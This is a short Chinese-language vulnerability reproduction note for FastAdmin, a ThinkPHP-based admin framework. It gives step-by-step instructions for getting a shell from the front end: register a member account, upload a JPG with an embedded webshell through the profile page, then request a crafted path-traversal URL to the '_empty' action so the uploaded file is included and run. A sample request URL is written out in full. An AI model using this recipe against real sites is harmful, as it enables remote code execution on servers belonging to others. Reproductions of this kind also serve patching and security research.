Fastadmin前台Getshell漏洞复现
一、简介
FastAdmin是一款基于ThinkPHP5+Bootstrap开发的极速后台开发框架。FastAdmin基于Apache2.0开源协议发布，目前被广泛应用于各大行业应用后台管理。
二、漏洞复现
注:在Linux下，通过这种方法会失效，因为在 /public 路径下不存在 user 目录
1、登录前台会员中心，注册一个账户
2、使用注册的账户登录，点击会员中心"-》"个人资料"处，上传一个jpg图片马
3、构造POC，GET /index/user/_empty?name=../../public/uploads/路径.jpg，访问http://xx.xx.xx.xx/index.php/index/user/_empty?name=../../public/uploads/20200924/500309dcf5c48dd851a218caa0f65566.jpg